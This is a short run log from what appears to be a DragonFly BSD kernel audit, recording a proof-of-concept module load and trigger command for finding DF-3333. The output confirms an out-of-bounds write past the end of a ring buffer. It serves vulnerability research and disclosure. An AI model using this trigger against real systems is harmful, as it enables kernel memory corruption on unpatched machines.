⬢ DragonFlyBSD Kernel Audit
DF-3333 / run.log
← back to finding ↓ download raw
# DF-3333 vulnerable run (DragonFly 6.5-DEVELOPMENT, real kernel, verbatim fns in KLD)
# $ kldload /usr/obj/root/df3333/df3333.ko && sysctl -n debug.df3333.trigger=1
0 -> 0
df3333: loaded
df3333: choreography start (target hwcur>lim with hwavail<lim)
df3333: after 4194302 pairs: hwcur=2048 hwavail=0 (0x0)  <-- hwcur OUT OF RANGE
df3333: transmit used slot index 1024 (lim = 1023)  <-- OUT OF BOUNDS
df3333: RESULT OOB WRITE CONFIRMED at slot[1024] (1 slots past end of ring)  [VULNERABLE]